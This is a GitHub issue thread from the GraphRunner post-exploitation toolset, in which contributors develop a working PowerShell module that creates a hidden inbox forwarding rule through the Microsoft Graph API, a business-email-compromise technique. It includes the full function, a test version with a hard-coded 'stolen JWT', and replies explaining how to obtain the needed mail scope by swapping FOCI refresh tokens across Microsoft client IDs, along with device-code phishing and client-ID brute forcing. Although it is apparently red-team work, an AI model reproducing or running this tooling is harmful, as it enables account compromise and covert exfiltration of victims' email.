dafthack / GraphRunner

A Post-exploitation Toolset for Interacting with the Microsoft Graph API
MIT License
919 stars 96 forks source link

[Question] Getting a graph token with specified permissions #12

Closed HuskyHacks closed 4 months ago

HuskyHacks commented 1 year ago

Hey!

I'm working on adding a module to GraphRunner for adding an email inbox rule. This is a common tactic used during business email compromise.

How do you specify the scope of permissions used when calling the Get-GraphToken function? Creating an inbox rule requires MailboxSettings.ReadWrite permissions so I'd imagine we need to get an access token with those permissions to perform the POST to create the inbox rule.

I see some mentions of scope in the Invoke-InjectOAuthApp function but I don't see much in the Get-GraphToken function.

For reference, here's my working POC. The POST goes through but I'm left with "403 Forbidden" after using the Get-Token module to get the access token. I can create the rule using Graph Explorer so I know it's not an account permissions issue

Function Invoke-CreateInboxRule {
    <#
    .SYNOPSIS

        This module uses the Graph API to create an inbox forwarding rule. This is common in BEC scenarios.    
        Author: HuskyHacks (@HuskyHacksMK)
        License: MIT
        Required Dependencies: None
        Optional Dependencies: None

    .DESCRIPTION

    .PARAMETER Tokens

        Token object for auth

    .PARAMETER RuleTerm

        The term you want to use as a matching rule for forwarding email.

    .PARAMETER RuleName

        The name for this rule.

    .PARAMETER ForwardEmailAddress

        The email address where you want to send your emails.

    .PARAMETER ForwardEmailName

        The name of the email address account where you want to send your emails.

    .PARAMETER UserId

        The user ID for the user where you want to create the inbox rule. 

    .EXAMPLE

        C:\PS> 
        -----------

    #>
    param(
        [Parameter(Position = 0, Mandatory = $false)]
        [object[]]
        $Tokens = "",
        [Parameter(Position = 1, Mandatory = $true)]
        [string]
        $RuleTerm = "",
        [Parameter(Position = 2, Mandatory = $true)]
        [string]
        $RuleName = "",
        [Parameter(Position = 3, Mandatory = $true)]
        [string]
        $EmailAddressName = "",
        [Parameter(Position = 4, Mandatory = $true)]
        [string]
        $EmailAddress = "",
        [Parameter(Position = 5, Mandatory = $true)]
        [string]
        $UserId = "",
        [string]
        $DetectorName = "Custom",
        [switch]
        $GraphRun,
        [switch]
        $PageResults
    )

    if ($Tokens) {
        if (!$GraphRun) {
            Write-Host -ForegroundColor yellow "[*] Using the provided access tokens."
        }
    }
    else {
        # Login
        Write-Host -ForegroundColor yellow "[*] First, you need to login." 
        Write-Host -ForegroundColor yellow "[*] If you already have tokens you can use the -Tokens parameter to pass them to this function."
        while ($auth -notlike "Yes") {
            Write-Host -ForegroundColor cyan "[*] Do you want to authenticate now (yes/no)?"
            $answer = Read-Host 
            $answer = $answer.ToLower()
            if ($answer -eq "yes" -or $answer -eq "y") {
                Write-Host -ForegroundColor yellow "[*] Running Get-GraphTokens now..."
                $tokens = Get-GraphTokens -ExternalCall
                $auth = "Yes"
            }
            elseif ($answer -eq "no" -or $answer -eq "n") {
                Write-Host -ForegroundColor Yellow "[*] Quitting..."
                return
            }
            else {
                Write-Host -ForegroundColor red "Invalid input. Please enter Yes or No."
            }
        }
    }
    $access_token = $tokens.access_token   
    [string]$refresh_token = $tokens.refresh_token 

    #$endpoint = "/users/{0}/mailFolders/inbox/messageRules" -f $userId
    $endpoint = "/me/mailFolders/inbox/messageRules"
    $graphApiUrl = "https://graph.microsoft.com/v1.0/{0}" -f $endpoint

    # Define the headers with the access token and content type
    $headers = @{
        "Authorization" = "Bearer $access_token"
        "Content-Type"  = "application/json"
    }

    $data = @{
        displayName = $RuleName
        sequence    = 2
        isEnabled   = $true
        conditions  = @{
            subjectContains = @(
                $RuleTerm
            )
        }
        actions     = @{
            forwardTo           = @(
                @{
                    emailAddress = @{
                        name    = $EmailAddressName
                        address = $EmailAddress
                    }
                }
            )
            stopProcessingRules = $true
        }
    }

    # Convert the hashtable to a JSON string
    $jsonData = $data | ConvertTo-Json -Depth 4 

    try {
        $response = Invoke-RestMethod -Uri $graphApiUrl -Headers $headers -Method Post -Body $jsonData
        Write-Output $response
    }
    catch {
        Write-Error $_.Exception.Message
        Write-Error $_.ErrorDetails.Message  # This might give more specific details from Graph API
    }
}

edit: the specific error output

PS /home/husky/GraphRunner> Invoke-CreateInboxRule -Tokens $tokens -EmailAddressName husky -RuleTerm salary -RuleName salary -EmailAddress huskyhacks.mk@gmail.com -UserId "[user to compromise]"
[*] Using the provided access tokens.
Invoke-CreateInboxRule: Response status code does not indicate success: 403 (Forbidden).
Invoke-CreateInboxRule: {"error":{"code":"ErrorAccessDenied","message":"Access is denied. Check credentials and try again."}}
HuskyHacks commented 1 year ago

Hey @dafthack, were you able to take a look at this? I'd like to land code in the repo if I can resolve how to get a token with the required permissions.

dafthack commented 1 year ago

Hey, yes I've been looking into this but haven't had a chance to fully determine how to go about it yet. We've noticed a lot of strange issues around how user tokens get certain scopes applied and how sometimes it appears scopes that would appear to be normal actually aren't something we can request for a standard user token. For example, some of the Teams permissions and Mail.Read.Shared for whatever reason don't get scoped to a normal user token. For those I've been leaning on application permissions as you can apply some of those there as a non-admin. If you figure out a good way to request specific scopes like these for a standard user please let us know. We will keep looking too.

Luxfero00000 commented 12 months ago

I encountered difficulties with permissions while implementing a backdoor in one of my experiments exploring the tool's practical applications. The process failed to proceed after granting the necessary permissions, which were supposed to generate the OAuth code. I want to know if its a general error .

rvrsh3ll commented 11 months ago

Will review soon

HuskyHacks commented 11 months ago

As a small update on this, when I can procure a token by... erhm, alternative means and it has the MailBoxSettings.ReadWrite scope , I can run a POST against the API to create the inbox rule and it works! I did this by manually overriding the access token header so it only provides the JWT, great success:

Function Invoke-CreateInboxRule {

    $access_token = [hard coded my stolen JWT here as a test]   

    $endpoint = "/me/mailFolders/inbox/messageRules"
    $graphApiUrl = "https://graph.microsoft.com/v1.0/{0}" -f $endpoint

    # Define the headers with the access token and content type
    $headers = @{
        "Authorization" = "Bearer $access_token"
        "Content-Type"  = "application/json"
    }

...[snip snip rest of function logic]...

image

This got me thinking if there would be any interest in allowing GraphRunner functions to specify a JWT and use that as the Auth header instead of pulling from the $tokens variable after using Get-GraphToken. It might also already allow you to do this and maybe I just missed it.

In any case, it looks like this function would work if we can figure out how to make sure the requested Graph token has the right scope of permissions

rvdwegen commented 10 months ago

Keep in mind that a delegated aka user token can only be used to do things that specific user can do. While a user with say Global Admin is perfectly capable of creating a team the user would need to add itself to the team first as owner/member to look at data in the team. The same goes for any other resources.

Using application permissions is taking out the proverbial sledgehammer.

RedByte1337 commented 4 months ago

@HuskyHacks Sorry for commenting on this old issue, although I stumbled upon this thread and wanted to clarify some misunderstandings I noticed here :)

For the v1 OAuth2 token endpoint (i.e. https://login.microsoftonline.com/common/oauth2/token), the scopes that are available in a JWT token depend on the combination of the client ID and resource that you request in the body. You can't really request specific scopes manually with the v1 token endpoint, but you just seem to get all the scopes for which your specific application (i.e. Client ID) has consent over a specific resource. So when utilizing first-party Microsoft apps and resources, these scopes/permissions will already have been pre-consented.

The "new" v2 Oath2 token endpoint (i.e. https://login.microsoftonline.com/common/oauth2/v2.0/token) does not use a resource + client id in the request body, but actually uses scope + client id instead. However, you still can't request scopes for which an application (client ID) does not have consent yet (unless the user does provide consent for that).

What you will notice for instance is that requesting a token (using the v1 endpoint) for the resource https://graph.microsoft.com with a client ID d3590ed6-52b3-4102-aeff-aad2292ab01c (i.e. Microsoft Office) will provide you with a token for a different scope than when you request a token for the same resource, but with client ID d326c1ce-6cc6-4de2-bebc-4591e5e13ef0 (i.e. SharePoint). The funny thing is, since these are all FOCI apps/clients, you can use the same refresh token to obtain access tokens with different client IDs, and therefore obtain different scopes/permissions.

So how do you know what Client ID you should use to get a specific scope? As far as I know, Microsoft has not documented this yet, so the best approach would be to do some trial and error.

You seem to be facing some of the same issues I encountered a while back when I wanted to implement a Microsoft Teams module in GraphSpy using the MS Graph API. I was desperately looking for a client which has consent to use the Chat.ReadWrite scope, however, in my case there did not seem to be any first-party FOCI client that provided this sadly, so I ended up having to completely rely on the undocumented skype API (https://api.spaces.skype.com/) to create the module.

You seem to have more luck though, since the specific scope you are looking for MailBoxSettings.ReadWrite can be obtained by requesting an access token for the resource https://graph.microsoft.com and using the Client ID of Microsoft Teams (1fec8e78-bce4-4aaf-ab1b-5451cc387264).

This is a good resource if you want to check which specific combinations of resource/client ID provide a specific scope. However, note that I've recently repeated the process they used to create that map, and I noticed that the scope map is not 100% complete anymore, but it is still a very good resource to check something quickly as it will be over 95% accurate!

rvrsh3ll commented 4 months ago

@HuskyHacks Sorry for commenting on this old issue, although I stumbled upon this thread and wanted to clarify some misunderstandings I noticed here :)

For the v1 OAuth2 token endpoint (i.e. https://login.microsoftonline.com/common/oauth2/token), the scopes that are available in a JWT token depend on the combination of the client ID and resource that you request in the body. You can't really request specific scopes manually with the v1 token endpoint, but you just seem to get all the scopes for which your specific application (i.e. Client ID) has consent over a specific resource. So when utilizing first-party Microsoft apps and resources, these scopes/permissions will already have been pre-consented.

The "new" v2 Oath2 token endpoint (i.e. https://login.microsoftonline.com/common/oauth2/v2.0/token) does not use a resource + client id in the request body, but actually uses scope + client id instead. However, you still can't request scopes for which an application (client ID) does not have consent yet (unless the user does provide consent for that).

What you will notice for instance is that requesting a token (using the v1 endpoint) for the resource https://graph.microsoft.com with a client ID d3590ed6-52b3-4102-aeff-aad2292ab01c (i.e. Microsoft Office) will provide you with a token for a different scope than when you request a token for the same resource, but with client ID d326c1ce-6cc6-4de2-bebc-4591e5e13ef0 (i.e. SharePoint). The funny thing is, since these are all FOCI apps/clients, you can use the same refresh token to obtain access tokens with different client IDs, and therefore obtain different scopes/permissions.

So how do you know what Client ID you should use to get a specific scope? As far as I know, Microsoft has not documented this yet, so the best approach would be to do some trial and error.

You seem to be facing some of the same issues I encountered a while back when I wanted to implement a Microsoft Teams module in GraphSpy using the MS Graph API. I was desperately looking for a client which has consent to use the Chat.ReadWrite scope, however, in my case there did not seem to be any first-party FOCI client that provided this sadly, so I ended up having to completely rely on the undocumented skype API (https://api.spaces.skype.com/) to create the module.

You seem to have more luck though, since the specific scope you are looking for MailBoxSettings.ReadWrite can be obtained by requesting an access token for the resource https://graph.microsoft.com and using the Client ID of Microsoft Teams (1fec8e78-bce4-4aaf-ab1b-5451cc387264).

This is a good resource if you want to check which specific combinations of resource/client ID provide a specific scope. However, note that I've recently repeated the process they used to create that map, and I noticed that the scope map is not 100% complete anymore, but it is still a very good resource to check something quickly as it will be over 95% accurate!

You may be referring to my flow with Invoke-BruteClientIDAccess. I tend to device phish with edge clientID, brute access to others, swap to what I need. I am starting to work on GR more soon, so I hope to tackle this and blog a bit.

RedByte1337 commented 4 months ago

You may be referring to my flow with Invoke-BruteClientIDAccess. I tend to device phish with edge clientID, brute access to others, swap to what I need. I am starting to work on GR more soon, so I hope to tackle this and blog a bit.

Oh nice, I didn't know about the Invoke-BruteClientIDAccess command sadly haha. I just bruteforced it manually using Burp Suite and a big list of Client IDs 😅 Although no need to repeat the process every single time right? Since you should mostly get the same result for different users in different tenants for first-party clients unless Microsoft changes something I presume? Or have you noticed any differences here as well?

HuskyHacks commented 4 months ago

@RedByte1337 great to see you in this repo! And thank you for that writeup. I just reimplemented this inbox rule function and used the Teams client ID during token auth and it works! I opened this issue when I knew next to 0 about using OAuth for M365 (whereas now I know like .0005%). The conversation here has really helped me solidify some concepts regarding token scope, audience, and the difference between delegated permissions and application permissions.

I can submit the PR I intended to submit when I opened this issue! I'll try to get it in soon.

Thank you @RedByte1337 @dafthack @rvrsh3ll @rvdwegen, this has been immensely helpful to me!